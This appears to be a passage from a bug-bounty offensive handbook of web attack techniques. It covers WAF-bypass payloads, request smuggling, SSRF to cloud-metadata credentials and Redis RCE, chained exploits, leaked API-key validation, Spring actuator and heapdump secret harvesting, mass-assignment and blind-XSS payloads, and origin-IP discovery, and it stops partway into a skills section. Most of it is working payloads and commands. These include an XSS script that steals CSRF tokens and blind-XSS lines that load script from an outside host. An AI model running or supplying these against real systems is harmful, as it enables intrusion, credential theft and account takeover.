```

## 1. Encoding & Obfuscation

```
# URL Encoding
%55NION%20%53ELECT                    # UNION SELECT
%27%20UNION%20SELECT%201%2C2%2C3--

# Double URL Encoding
%2555NION %2545LECT

# Mixed Case
UnIoN sElEcT

# HTML Entity Encoding (XSS)
&#60;script&#62;alert(1)&#60;/script&#62;

# Unicode Normalization
%uff55%uff4e%uff49%uff4f%uff4e     # U N I O N fullwidth
%C0%BCscript%C0%BE                  # Overlong UTF-8

# Hex Encoding
0x55 0x4E 0x49 0x4F 0x4E            # UNION in hex

# Base64 (XSS)
eval(atob('YWxlcnQoMSk='))           # alert(1)

# fromCharCode (XSS)
String.fromCharCode(97,108,101,114,116,40,49,41)

# No-paren calls (XSS)
alert`1`
```

## 2. Comment Injection

```
' /**/UNION/**/SELECT/**/1,2,3--
' /*!UNION*/ /*!SELECT*/ 1,2,3--
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
' UN/**/ION SE/**/LECT 1,2,3--
<scr<script>ipt>alert(1)</scr</script>ipt>
```

## 3. Whitespace Alternatives

```
UNION%0ASELECT          # Newline
UNION%09SELECT          # Tab
UNION%0dSELECT          # CR
UNION%0cSELECT          # Form feed
UNION%0bSELECT          # Vertical tab
UNION%A0SELECT          # Non-breaking space
```

## 4. HTTP Parameter Pollution (HPP)

```
GET /search?id=1&id=2' UNION SELECT 1,2,3--
# PHP: last wins | ASP.NET: first wins | Node: array | Java: first wins
GET /admin?role=user&role=admin
```

### 5. HTTP Method Manipulation

```
POST /api/delete-user
X-HTTP-Method-Override: DELETE

GeT /admin
Post /api/data
PROPFIND /admin
MKCOL /upload
TRACE /admin
```

### 6. Content-Type Confusion

```
Content-Type: application/json
{"id":"1' OR '1'='1"}

Content-Type: application/xml
<id>1' OR '1'='1</id>
```

### 7. Body Padding / Size Bypass

WAFs have inspection size limits. Add junk data to push payload past window:

```
{"junk": "AAAA...[128KB of junk]...", "id": "1' OR '1'='1"}
```

Tool: nowafplsV2 (Burp extension)

### 8. Chunked Transfer Encoding

```
POST /api/search HTTP/1.1
Transfer-Encoding: chunked
4
1' O
6
R '1'
4
='1
8
' -- -
0
```

### 9. Request Smuggling

```
# CL.TE smuggling
POST / HTTP/1.1
Content-Length: 44
Transfer-Encoding: chunked
0

GET /admin HTTP/1.1
X-Ignore: X
```

### 10. Protocol Downgrade

```
curl -s --http1.0 "https://target.com/?id=1' OR '1'='1"
```

### 11. Null Byte Injection

```
?id=1' UNION SELECT 1,2,3%00-- -
../../../etc/passwd%00.jpg
```

### Vendor-Specific Bypasses

**Cloudflare**:

```
<details open ontoggle=alert(1)>
<object onerror=alert(1)>
<image src=x onpointerover=alert(1)>
<textarea autofocus onfocus=alert(1)>
<body onafterprint=alert(1)>
```

**AWS WAF**:

```
?q=%2527%2520OR%25201%253D1--
?q=1'%E2%80%80OR%E2%80%801=1--  # Mongolian vowel separator
```

**Akamai**:

```
<svg onload=alert(1)>
<isindex action=javascript:alert(1) type=image>
```

**ModSecurity / OWASP CRS**:

```
'SeLeCt 1,2,3 FrOm users WhErE 1=1--
javascript&#58;alert(1)
<scr%0Aipt>alert(1)</scr%0Aipt>
```

### Automated WAF Bypass Tools

```
# bypassburrito (Go, LLM-powered)
burrito bypass -u "https://target.com" --param id --type sqli
burrito bypass -u "https://target.com" --param q --type xss --waf-type cloudflare

# wafrift (Python, evolutionary engine)
wafrift scan --url "https://target.com/?id=1" --param id --payload "' OR '1'='1"

# evilwaf (Python, MITM proxy)
evilwaf --target https://target.com --proxy http://127.0.0.1:8080
```

### WAF Bypass Decision Tree

```
Is payload blocked?
├── Yes → Try URL encode
│   ├── Blocked → Try double URL
│   │   ├── Blocked → Try comment injection
│   │   │   ├── Blocked → Try whitespace tricks
│   │   │   │   ├── Blocked → Try HPP
│   │   │   │   │   ├── Blocked → Try chunked encoding
│   │   │   │   │   │   ├── Blocked → Try body padding
│   │   │   │   │   │   │   ├── Blocked → Try protocol downgrade
│   │   │   │   │   │   │   │   ├── Blocked → Try smuggled request
│   │   │   │   │   │   │   │   │   ├── Blocked → Use automated tools
│   │   │   │   │   │   │   │   │   │   └── Blocked → Find origin IP
```

### Origin IP Discovery (Complete WAF Bypass)

```
# Shodan
shodan search "hostname:target.com" --fields ip_str,port
shodan search "org:Target Company" --fields ip_str,port

# Historical DNS
dig target.com ANY

# Email headers — send to non-existent user, check Received: headers
# Subdomain DNS — find subdomain pointing directly to IP
# SSL certificate transparency — search for certs → extract IPs
# Tools: evilwaf (built-in hunter), wafw00f
```

## 16.6 ADVANCED SSRF EXPLOITATION

### Detection

```
# Standard URL parameters
curl -s "https://target.com/fetch?url=http://COLLABORATOR/test"
curl -s "https://target.com/proxy?url=http://COLLABORATOR/test"

# Headers
curl -s "https://target.com/" -H "X-Forwarded-For: COLLABORATOR"
curl -s "https://target.com/" -H "True-Client-IP: COLLABORATOR"
curl -s "https://target.com/" -H "Referer: http://COLLABORATOR/"
```

### SSRF Escalation Ladder

**Level 1: Confirm** — Collaborator callback

### Level 2: Internal Port Scanning

```
http://127.0.0.1:22    # SSH
http://127.0.0.1:3306  # MySQL
http://127.0.0.1:6379  # Redis
http://127.0.0.1:9200  # Elasticsearch
http://127.0.0.1:3000  # Node.js
http://127.0.0.1:8080  # Alternative HTTP
```

### Level 3: Cloud Metadata

```
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true

# Alibaba
http://100.100.100.200/latest/meta-data/
```

### Level 4: Internal Service Exploitation

```
# Redis via Gopher — write SSH key to authorized_keys
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a...

# Elasticsearch
http://127.0.0.1:9200/_search?q=password
```

### Level 5: Protocol Bypass Techniques

```
# IPv6 loopback
http://[::1]:8080/
http://[::ffff:127.0.0.1]/

# Decimal IP
http://2130706433/       # 127.0.0.1
http://2852039166/       # 169.254.169.254

# DNS rebinding domains
http://169.254.169.254.nip.io/
http://1.0.0.127.nip.io/

# URL parser confusion
http://127.0.0.1:8080@evil.com/
http://evil.com\@127.0.0.1/
http://127.0.0.1%00evil.com/
```

## SSRF via PDF Generators

```
<img src="http://169.254.169.254/latest/meta-data/"/>
<iframe src="http://127.0.0.1:8080/admin"/>
```

## SSRF Mitigation Bypass

| MITIGATION | BYPASS |
|---|---|
| IP deny list | Decimal/hex/octal/IPv6 variants |
| Hostname allowlist | DNS rebinding, URL parser confusion |
| Protocol allowlist | gopher://, dict://, file:// |
| SSRF via DNS | TOCTOU via DNS rebinding |
| IMDSv1 blocked | IMDSv2: PUT /latest/api/token |

## 16.7 VULNERABILITY CHAINING METHODOLOGY

### Core Framework

```
[Entry Point] → [Weak Control] → [Adjacent System] → [Priv Esc] → [Business Impact] → [Critical]
```

### For every finding ask:

- **ENABLES**: Does this give access to something new?
- **AMPLIFIES**: Does this make another bug worse?
- **BYPASSES**: Does this bypass a security control?
- **CHAINS**: Does this trigger a secondary action?
- **ESCALATES**: Can I go from read to write, user to admin?

### Proven Chain Patterns

**Pattern 1: SSRF → Internal API → RCE** (Med+Low=Crit, $10K-$50K)

```
# Confirm SSRF
curl -s "https://target.com/fetch?url=http://collaborator.net/test"
# Probe internal services
curl -s "https://target.com/fetch?url=http://127.0.0.1:6379/"
# RCE via internal service
curl -s "https://target.com/fetch?url=gopher://127.0.0.1:6379/_..."
```

**Pattern 2: Auth Bypass → IDOR → Data Exfil** (Med+Med=Crit, $5K-$25K)

```
curl -s "https://internal-api.target.com/users" -H "Authorization: null"
for id in $(seq 1 1000); do
  curl -s "https://internal-api.target.com/users/$id/orders"
done
```

**Pattern 3: XSS → CSRF → Admin Action** (Med+Med=Crit, $3K-$15K)

```
<script>
fetch('/admin/delete-user').then(r => r.text()).then(html => {
  const token = html.match(/csrf_token=([^"']+)/)[1];
  fetch('/admin/delete-user', {method:'POST', body:'user_id=1&csrf_token='+token, credentials:'include'});
});
</script>
```

**Pattern 4: Info Disclosure → Cred Reuse → ATO** (Low+Low=Crit, $5K-$20K)

```
curl -s "https://target.com/api/users/999999" | grep -oP '[a-zA-Z0-9._%+-]+@target.com'
git log -p --all | grep -i password
curl -s -X POST "https://target.com/api/login" -d 'email=admin@target.com&password=Welcome2023!'
```

**Pattern 5: Open Redirect → OAuth Token Theft → ATO** (Med+Med=Crit, $3K-$15K)

```
https://target.com/auth/callback?redirect_uri=https://evil.com/steal
```

**Pattern 6: GraphQL Introspection → Hidden Mutation → Priv Esc** (Med+Med=High, $2K-$10K)

```
query { __schema { types { name fields { name } } } }
mutation { grantAdminRole(userId: "victim", role: "admin") { success } }
```

### Chain Scoring

| COMPONENT | INDIVIDUAL | CHAINED |
|---|---|---|
| SSRF | 6.5 (Medium) | 9.8 (Critical) |
| IDOR | 5.3 (Medium) | 8.8 (High) |
| RCE via chain | — | 10.0 (Critical) |

### Reporting Chains

1. Title: `[Vuln1] + [Vuln2] → [Vuln3] = [Final Impact]`
2. Describe the path step by step
3. Show each step independently first, then the full chain
4. Quantify impact: "This chain lets attacker access $500K in assets"

## 16.8 GOOGLE API KEY HUNTING

### Why

Exposed Google API keys — Gemini ecosystem changed the game. A single leaked Gemini-enabled key = unauthorized AI service access with serious financial impact.

### Phase 1: GitHub Dorking

```
# Search for:
AIza[0-9A-Za-z_-]{35}  (Google API key format)
"AIza" + "gemini" / "gemini-2.0" / "generative-ai"
"GOOGLE_API_KEY" in .env, config files, JS bundles
```

### Phase 2: Key Verification

```
curl -s "https://generativelanguage.googleapis.com/v1beta/models?key=AIza..."
# Valid response = key has Gemini enabled
```

### Phase 3: Impact Demonstration

- Access Gemini API endpoints
- Show cost impact via pricing calculator
- Test referer-based bypasses (some keys restricted to domains)
- Move beyond "found a key" — show what it can DO

### Phase 4: Burp Extension

Automated in-browser discovery — intercept API keys during browsing, auto-check JS files, validate against Gemini.

### Phase 5: Automation (5 Modes)

1. Single domain: crawl → extract → validate
2. Multi-domain: sequential/parallel
3. Direct JS URL list: skip crawling
4. Raw key validation: accept list of keys + referer bypass
5. Validated with evidence: curl commands, responses, cost breakdown

### Phase 6: Beyond Gemini

- Google Cloud APIs (Storage, Compute, BigQuery)
- Each API has different validation endpoints
- Check if key is unrestricted vs restricted

### Key Commands

```
cat urls.txt | while read url; do curl -s "$url" | grep -oP 'AIza[0-9A-Za-z_-]{35}'; done

cat keys.txt | while read key; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://generativelanguage.googleapis.com/v1beta/models?
key=$key")
  echo "$key: $status"
done

curl -s -H "Referer: https://allowed-domain.com" "https://generativelanguage.googleapis.com/v1beta/models?key=$key"
```

## 16.9 SQLMAP + GHAURI WAF BYPASS

### SQLmap

```
# ModSecurity bypass
sqlmap -u "https://target.com/page?id=1" --tamper=between,randomcase,space2comment --random-agent --delay=2

# Cloudflare bypass
sqlmap -u "https://target.com/page?id=1" --tamper=between,bluecoat,charencode,charunicodeencode --random-agent --
```

```
delay=2 --flush-session

# Origin IP bypass (bypasses ALL WAF)
sqlmap -u "http://ORIGIN_IP/page?id=1" -H "Host: target.com"
```

### Ghauri (Next-Gen SQLi)

```
# Fortinet WAF bypass with junk data
ghauri -u "https://target.com/page?id=1" --junkdata --skip-urlencode

# Generic WAF
ghauri -u "https://target.com/page?id=1" --random-agent --delay=2 --skip-waf

# Terminate trailing query
ghauri -u "https://target.com/page?id=1" --terminate --skip-urlencode --confirm
```

### Ghauri vs SQLMap

| TECHNIQUE | SQLMAP | GHAURI |
|---|---|---|
| Between | --tamper=between | Built-in |
| Random Case | --tamper=randomcase | --random-agent |
| Space2Comment | --tamper=space2comment | Built-in |
| Junk Data Overload | No native support | --junkdata |
| Origin IP Bypass | Manual | Manual |

### Key Tips

- Always test with BOTH tools
- Origin IP bypass is most effective (bypasses ALL WAF)
- Junk data injection works especially well against Fortinet WAF
- WAF bypass is layered — try multiple techniques in combination

## 16.10 IIS HACKING METHODOLOGY

### Phase 1: Google Dorking

```
intitle:"IIS Windows Server" site:*.target.com
ext:ashx | ext:asmx site:target.com
```

### Phase 2: IIS Detection

```
httpx -l subs.txt -td -silent | grep Microsoft
```

### Phase 3: Shortname (Tilde) Enumeration

```
shortscanner -w iis_wordlist.txt https://target.com
# Reveals: WEB~1.CON → web.config, ADMIN~1.ASP → admin.aspx
```

### Phase 4: Shortname Resolution

- GitHub dorking for first 6 chars
- BigQuery GitHub dataset

### Phase 5: Precision Fuzzing

```
ffuf -u https://target.com/FUZZ -w iis-wordlist.txt \
  -e .asp,.aspx,.ashx,.asmx,.config,.zip,.bak \
  -mc 200,301,302,403 -fs 0
```

### High-Value IIS Endpoints

- `/web.config`, `/web.config.bak`
- `/trace.axd` — ASP.NET trace viewer
- `/elmah.axd` — error log viewer
- `/connectionstrings.config`

- `/WS_FTP.LOG`

### Key Takeaways

1. Start with Shodan/Google dorks to find IIS
2. Use shortscan on all Microsoft IIS targets
3. Resolve shortnames via BigQuery GitHub dataset
4. Fuzz: trace.axd, elmah.axd, web.config variants
5. IIS servers are notoriously misconfigured

## 16.11 REACT2SHELL — CVE-2025-55182 RCE

### What

CVSS 10.0 — Unauthenticated RCE in React Server Components (RSC). Affects React 19.0.0-19.2.0, Next.js App Router, Vite.

### Discovery

```
# Shodan
http.body:"react.production.min.js" || app:"React.js"
# FOFA
app="NEXT.JS" || app="React"

# CT logs for fresh targets
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | \
  httpx -silent -td | grep -i "react\|next"
```

### Detection

```
curl -s -X POST "https://target.com/_next/data/..." -H "Content-Type: text/plain"
curl -s -X POST "https://target.com/api/..." -H "Content-Type: text/plain"
```

### WAF Bypass for React2Shell

- Multipart/form-data encoding
- Chunked transfer encoding
- Payload splitting across chunks
- Unicode/encoding transformations

### Impact

- Execute arbitrary JS on server
- Access env vars (DB creds, API keys)
- Full infrastructure compromise in cloud

## 16.12 SPRING BOOT ACTUATOR EXPLOITATION

### Complete Endpoint List

```
/actuator                   # Index
/actuator/health            # Health
/actuator/info              # App info
/actuator/env               # ENV PROPERTIES (SECRETS!)
/actuator/configprops       # Config properties
/actuator/beans             # All Spring beans
/actuator/mappings          # API structure
/actuator/metrics           # Metrics
/actuator/loggers           # Logger config
/actuator/threaddump        # Thread dump
/actuator/heapdump          # HEAP DUMP (CREDENTIAL GOLDMINE!)
/actuator/jolokia           # JMX MBeans (RCE!)
/actuator/httptrace         # HTTP traces
/actuator/sessions          # Active sessions
/actuator/shutdown          # Shutdown app
/actuator/restart           # Restart app
/actuator/prometheus        # Metrics
```

### Discovery

```
nuclei -t exposures/configs/springboot-actuator.yaml -l targets.txt
httpx -l targets.txt -path /actuator -silent -mc 200,401,403
ffuf -w paths.txt -u https://target.com/FUZZ -mc 200,401,403
```

### Non-Standard Paths

```
/actuator, /management, /admin/actuator, /internal/actuator
/api/actuator, /spring/actuator, /actuator-1.0
```

### Access Control Bypass

```
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/actuator/env
curl -H "X-Original-URL: /actuator/env" https://target.com/
curl -H "X-Rewrite-URL: /actuator/env" https://target.com/
curl https://target.com/actuator/env;.js
curl https://target.com/actuator/env%00
curl https://target.com/actuator/..;/env
```

### Heapdump Analysis

```
wget https://target.com/actuator/heapdump
strings heapdump | grep -i "AKIA\|password\|secret\|jdbc:"
jhat heapdump
```

### Env Endpoint Secrets

```
curl https://target.com/actuator/env
curl https://target.com/actuator/env/spring.datasource.password
```

### Spring Boot 1.x Endpoints (no /actuator prefix)

```
/env, /health, /info, /dump, /trace, /jolokia, /beans, /configprops
```

### Key Takeaways

1. Even 401/403 confirms endpoint EXISTS
2. /heapdump and /env are highest-impact
3. Header-based bypass works often
4. Jolokia can lead to full RCE via JMX
5. Never assume WAF blocking = no actuator present

---

## 16.13 AUTH & SESSION TESTING

### Complete Checklist

1. **Old session persists after password change** — change password, old session still works?
2. **Failure to invalidate on logout** — reuse old token after logout?
3. **Browser cache weakness** — back button after logout exposes data?
4. **Email verification bypass** — unverified email, full access?
5. **Password reset token persistence** — old token still valid after new request?
6. **Password reset token reuse** — same token multiple times?
7. **Lack of session validation on sensitive endpoints** — no session needed?
8. **Session fixation** — set session before login, same ID after?
9. **Concurrent session limit bypass** — unlimited sessions?
10. **Missing session rotation after privilege change** — old session carries new privs?
11. **Unrestricted session duration** — tokens never expire?
12. **Weak "Remember Me"** — predictable persistent tokens?
13. **JWT Misconfigurations**:

```
# None algorithm: change alg to "none"
# Weak HMAC secret: crack weak signing key
# Expiration bypass: modify exp claim
```

```
# Kid injection: path traversal on key ID
# JWK header injection: embed own public key
```

## 16.14 MASS ASSIGNMENT PAYLOADS

### Boolean / Admin Flag

```
{"isAdmin":true,"is_admin":true,"admin":true,"administrator":true}
{"isAdmin":1,"is_admin":"yes"}
```

### Role / Privilege

```
{"role":"admin","role_id":1,"role_name":"Administrator"}
{"user_type":"admin","account_type":"premium"}
{"permissions":"*","access_level":9999}
{"groups":["administrators","superusers"]}
```

### Organization / Tenant

```
{"org":"admin","org_id":1,"organization":"admin"}
{"tenant":"admin","tenant_id":1}
```

### Nested / Prototype

```
{"profile":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"isAdmin":true}}
{"constructor":{"prototype":{"isAdmin":true}}}
```

### Verification Manipulation

```
{"email_verified":true,"isVerified":true}
{"email_verified_at":"2025-01-01T00:00:00Z","status":"active"}
{"skip_verification":true,"bypass_onboarding":true}
```

### Encoding Tricks

```
{"\u0069sAdmin":true}
{"is\x00Admin":true}
```

### Combination (High-Value)

```
{"isAdmin":true,"role":"admin","email_verified":true,"skip_verification":true,"bypass_onboarding":true}
```

### Testing Strategy

1. Start with simple boolean/admin flags
2. Try all casing/alias variants
3. Test nested JSON structures
4. Try prototype pollution
5. Check encoding bypasses
6. Combine multiple fields
7. Test on signup AND profile update endpoints

## 16.15 REGISTRATION BUGS — 22-Item Checklist

1. **Duplicate Registration & Account Overwrite** — Register with existing email, does it overwrite?
2. **Case Sensitivity / Shadow Account** — admin@ vs Admin@ = two accounts?
3. **DoS via Large Input Fields** — Extremely long strings crash it?
4. **Missing Rate Limiting** — 1000+ requests from single IP?
5. **Stored XSS** — `<script>alert(1)</script>` in profile fields?
6. **Insufficient Email Verification** — Access features without verifying?
7. **HTTP / Temp Emails** — Over HTTP? Accepts @tempmail.com?
8. **Weak Password Policies** — "123" or "password" allowed?

9. **Path Overwrite / Route Collision** — /api/register/admin works?
10. **Server-Side Validation Bypass** — Disable JS, modify HTML attributes?
11. **Hidden / Legacy Endpoints** — /api/v1/register, /signup-legacy?
12. **HTTP Parameter Pollution** — `?email=attacker@e.com&email=victim@t.com`?
13. **Weak Verification Links** — Sequential/guessable tokens?
14. **Punycode / IDN Homograph** — `xn--e1aybc@example.com` bypasses blocklists?
15. **OTP Brute-Force** — 4-digit OTP, no rate limit?
16. **Weak Session Tokens** — Predictable after registration?
17. **Null Byte Injection** — `admin%00@evil.com` truncates?
18. **Missing Email Confirmation Enforcement** — Paid features without confirm?
19. **Session Fixation** — Same session ID before and after?
20. **Cache Control Issues** — Back button after signup exposes data?
21. **Cross-Account IDOR** — Modify user_id in API calls after signup?
22. **Mass Assignment** — See mass assignment payloads above

## 16.16 BLIND XSS

### What

Payloads stored in places you cant see (admin panels, email templates, logs, chat systems). Fires later when backend renders them.

### Injection Vectors

- Comment/review systems
- Chat/messaging platforms
- Support ticket systems
- Contact forms
- Profile fields (name, bio, website)
- File upload EXIF/metadata
- HTTP headers (User-Agent, X-Forwarded-For)
- Email templates

### Tools

```
# XSSHunter (free: bxsshunter.com)
# Burp Collaborator (Burp Pro)
# interactsh (ProjectDiscovery, self-hosted)
# xss.report (LostSec/coffinxp)
```

### Burp Match & Replace (Automated)

Replace User-Agent header with payload — every request carries blind XSS payload.

### Automation

```
cat urls.txt | bxss -payload '"><script src=https://xss.report/c/coffinxp></script>' -header "X-Forwarded-For"
cat urls.txt | gf xss | uro | dalfox pipe --blind https://collaborator --waf-bypass --silence
subfinder -d target.com | gau | bxss -appendMode -payload '"><script src=https://xss.report/c/coffinxp></script>' -
parameters
```

### EXIF/XSS via Image Metadata

```
exiftool -Comment='"><script src=https://xss.report/c/coffinxp></script>' image.jpg
```

### Where to Inject Headers

User-Agent, X-Forwarded-For, Referer, X-Forwarded-Host, Cookie

### WAF Bypass for Blind XSS

- Double/triple URL encoding

- HTML entity encoding
- Split across multiple fields
- SVG/iframe vectors instead of `<script>`
- String.fromCharCode obfuscation
- atob() base64

### Reporting Tips

- Include screenshot of blind XSS callback dashboard
- Show what admin panel exposes
- Chain with other vulns for max severity

## 16.17 WEB CACHE DECEPTION

### How it Works

1. Request sensitive endpoint: `/account/settings` — not cached
2. Add static extension: `/account/settings;.js`
3. Cache sees .js and caches the response
4. Unauthenticated attacker requests cached URL → gets victims data

### Detection

```
# Delimiters
/account/settings;.js
/account/settings;.css
/account/settings;.ttf
/account/settings/..%2fprofile
/account/settings?.js

# 2-request validation
curl -sD - "https://target.com/account/settings;.js" -o /dev/null
sleep 2
curl -sD - "https://target.com/account/settings;.js" -o /dev/null
# Second response has shorter age or HIT = cache working
```

### Mass Hunting

```
gau target.com | grep -E "(account|profile|dashboard|admin|settings|billing)" | \
  sed 's/$/;.js/' | httpx -silent -mc 200 | nuclei -dast
```

### Payload Delimiters

```
;.js  ;.css  ;.png  ;.jpg  ;.svg  ;.ttf  ;.woff
/..%2fprofile  /..%2f..%2faccount  ?.js  ?#.js
/%2e.js  %3B.js
```

## 16.18 PUNYCODE IDN — 0-CLICK ATO

### What

Use Cyrillic lookalikes (visually identical to Latin) to create spoofed emails. Latin "a" (U+0061) vs Cyrillic "a" (U+0430) — visually identical, different Unicode.

### Attack Vectors

**1. Email Registration with Punycode:** 1. Generate punycode email: `victim@target.com` (Cyrillic lookalikes) 2. Intercept in Burp, replace email with punycode version 3. Register — if server doesnt normalize, you get verified access as victim

**2. Password Reset via Punycode:** 1. Request reset for "victim@target.com" 2. Intercept, change email to punycode version 3. Reset link sent to punycode email (attacker controls) 4. Use link to change victims password 5. **Zero-click ATO** — victim never notified

### Cyrillic Lookalikes

```
a→Cyrillic a(U+0430)  e→Cyrillic e(U+0435)  o→Cyrillic o(U+043E)
p→Cyrillic p(U+0440)  c→Cyrillic c(U+0441)  x→Cyrillic x(U+0445)
```

### Where to Test

- Magic link login systems
- Invite-by-email flows
- OAuth login whitelisting
- Forgot password / email change
- SSO/SAML trust domains
- Email-based 2FA bypass

---

## 16.19 S3 BUCKET RECON

### URL Formats

```
https://[bucket-name].s3.amazonaws.com
https://[bucket-name].s3-[region].amazonaws.com
```

### Discovery Methods

**Google Dorking:**

```
site:s3.amazonaws.com "target.com"
site:s3.amazonaws.com filetype:xls password target.com
```

**JS Extraction:**

```
gospider -d 3 -s https://target.com | grep -Eo 'https?://[^"<> ]+\.s3\.amazonaws\.com[^"<> ]*' | sort -u
```

**Brute-Forcing:**

```
lazys3 target.com  # Tests permutations: target-dev, target-backup, etc.
cewl -d 3 https://target.com | s3scanner -o buckets.txt
```

### Permission Testing

```
aws s3 ls s3://bucket-name --no-sign-request                          # List
aws s3 cp s3://bucket-name/file.txt . --no-sign-request               # Read
echo "test" | aws s3 cp - s3://bucket-name/poc.txt --no-sign-request   # Write
aws s3api get-bucket-acl --bucket bucket-name --no-sign-request
aws s3api get-bucket-policy --bucket bucket-name --no-sign-request
```

### Exploitation

- List all files for sensitive data
- Upload malicious files (phishing, JS backdoors)
- Modify existing files with malicious versions
- Delete (DoS)

---

## 16.20 SWAGGER UI — XSS & HTML INJECTION

### Vulnerability Classes

**DOM XSS via configUrl:**

```
https://target.com/swagger?configUrl=https://attacker.com/malicious.json
https://target.com/swagger?url=https://attacker.com/openapi.yaml
```

**HTML Injection:** Fake login forms under legitimate domain

**Open Redirect via OAuth2:** Supply crafted authorizationUrl → click Authorize redirects to attacker

### Testing Payloads (from coffinxp/swagger)

```
?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/main/xsstest.json
?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/main/xsscookie.json
?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/main/login.json
?configUrl=https://raw.githubusercontent.com/coffinxp/swagger/main/rlogin.json
```

### Discovery

```
httpx -l subs.txt -path /swagger -silent -mc 200
httpx -l subs.txt -path /swagger-ui -silent -mc 200
httpx -l subs.txt -path /api-docs -silent -mc 200
ffuf -w swagger_paths.txt -u https://target.com/FUZZ -mc 200 -fs 0
```

### Detection (page source)

- `SwaggerUIBundle`
- `swagger-ui.css`
- Title contains "Swagger UI"

### Impact Escalation

1. HTML injection → fake login → credential harvesting
2. Open redirect → phishing chain
3. DOM XSS → session theft → ATO
4. Resource injection → malware delivery

## 16.21 GITHUB RECON & .GIT EXPOSURE

### GitHub Dorking

```
filename:.env, filename:.env.production, filename:credentials.json
"target.com" "password"
"target.com" "api_key"
"target.com" "ghp_"  (GitHub tokens)
"target.com" "sk-"   (Stripe keys)
"target.com" "AIza"  (Google API keys)
"target.com" "AKIA"  (AWS access keys)
```

### .git Detection

```
curl -s -o /dev/null -w "%{http_code}" https://target.com/.git/config
httpx-toolkit -l subs.txt -path /.git/ -mc 200
cat domains.txt | httpx-toolkit -sc -server -cl -path "/.git/" -mc 200 -ms "Index of"
```

### 403 is NOT a Dead End

```
curl https://target.com/.git/HEAD
curl https://target.com/.git/config
curl https://target.com/.git/logs/HEAD
```

### Git Dumper

```
git-dumper https://target.com/.git/ /tmp/target-dump
cd /tmp/target-dump
git log --oneline
git diff HEAD~1
grep -r "password\|secret\|api_key\|token\|AKIA\|sk-\|AIza" .
cat .env
```

### What to Look For After Dump

- .env files — DB credentials, API keys
- Config/ directories — service configs
- dump.sql / backup.sql — database dumps
- Old commits where secrets were "removed" (still in history)

## 16.22 ORIGIN IP DISCOVERY — 11+ Methods

### Why

Most effective WAF bypass: attack origin server directly. All WAF rules irrelevant.

### Method 1: Historical DNS (SecurityTrails)

```
https://securitytrails.com/domain/target.com/dns
# Find IPs used BEFORE WAF was deployed
```

### Method 2: Shodan

```
shodan search "ssl.cert.subject.CN:target.com" --fields ip_str,port,org
shodan search "ssl:target.com"
```

### Method 3: Censys

Search for certificates → click "Explore" → "IPv4 Hosts". SAN fields more reliable than CN.

### Method 4: FOFA

Search by domain, filter by favicon hash.

### Method 5: ViewDNS.info

```
https://viewdns.info/iphistory/?domain=target.com
```

### Method 6: SPF Records

```
dig txt target.com | grep "v=spf1"
```

### Method 7: VirusTotal

```
https://www.virustotal.com/gui/domain/target.com/relations
```

### Method 8: AlienVault OTX

```
curl -s "https://otx.alienvault.com/api/v1/indicators/domain/target.com/passive_dns"
```

### Method 9: Subdomain Enumeration

Subdomains not behind WAF: dev, stage, origin, mail, direct, admin, api

```
subfinder -d target.com | httpx -silent -ip | grep -v "cloudflare\|akamai\|fastly"
```

### Method 10: Email Headers

Send email to non-existent address at target.com — inspect SMTP headers: - Return-Path header - Received header chain - X-Originating-IP header

### Validation

```
curl -k -H "Host: target.com" https://CANDIDATE_IP/
curl -k -H "Host: target.com" https://CANDIDATE_IP/ -I
# Compare: title, server header, response body hash
```

### Tools

```
python3 evilwaf.py -t https://target.com --auto-hunt
python3 cloudflair.py target.com
```

### Key Tips

- SAN fields more reliable than CN
- Historical DNS most reliable (pre-WAF IPs)
- Always verify with Host header forging
- 403 ≠ wrong IP — means found something, need more headers

## 16.23 CT LOG MONITORING

### Why

Every SSL cert must be logged in public CT log. Discover subdomains minutes after cert issuance.

### Crtmon — Real-Time Monitoring

```
crtmon -d target.com
# Gets alerted as soon as new subdomains are issued
```

### Manual Queries

```
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | \
  jq -r '.[].dns_names[]' | sort -u
```

### Organization Name Pivoting

Query by organization name (O= field in cert subject) — catches new acquisitions, internal portals, beta products.

### Automation Pipeline

```
while true; do
  curl -s "https://crt.sh/?q=%.target.com&output=json" | \
    jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > new_subs.txt
  comm -23 new_subs.txt previous_subs.txt > fresh_subs.txt
  httpx -l fresh_subs.txt -silent | nuclei -t cves/ -t exposures/
  mv new_subs.txt previous_subs.txt
  sleep 3600
done
```

## 16.24 CRLF INJECTION

### What

Carriage Return + Line Feed (`%0d%0a`) injection splits HTTP response, allowing request smuggling, XSS, cache poisoning, log injection.

### Common Injection Points

Parameters: redirect, url, next, return, page Headers: Location, Set-Cookie, X-Forwarded-For, Referer

### Testing Payloads

```
%0d%0a
%0d%0aInjected-Header: true
%0d%0a%0d%0a<html><script>alert(1)</script></html>
%0d%0aSet-Cookie: stolen_session=abc123; domain=.target.com
%0d%0aLocation: https://evil.com
```

### Discovery

```
# Loxs tool (coffinxp/loxs)
loxs -l urls.txt -crlf

# Manual
curl -s -I "https://target.com/page?param=test%0d%0aX-Injected:%20true"

# GF patterns
cat urls.txt | gf redirect | qsreplace "%0d%0aX-Injected:true" | httpx -silent -H "X-Injected" -mc 200
```

### Impact Scenarios

1. XSS via header injection
2. Session fixation via Set-Cookie

3. Cache poisoning
4. Log injection
5. Request smuggling
6. WAF bypass (split payload across lines)

# PART 17: SKILLS

## Bug Bounty Skill

### Recon

1. Subdomain enumeration: dig, sublist3r, crt.sh, CT
2. DNS analysis: leaks, zone transfers, CNAME
3. Tech fingerprinting: Wappalyzer, curl headers, error pages
4. Scope verification
5. JS bundle extraction

### Attack Surface Mapping

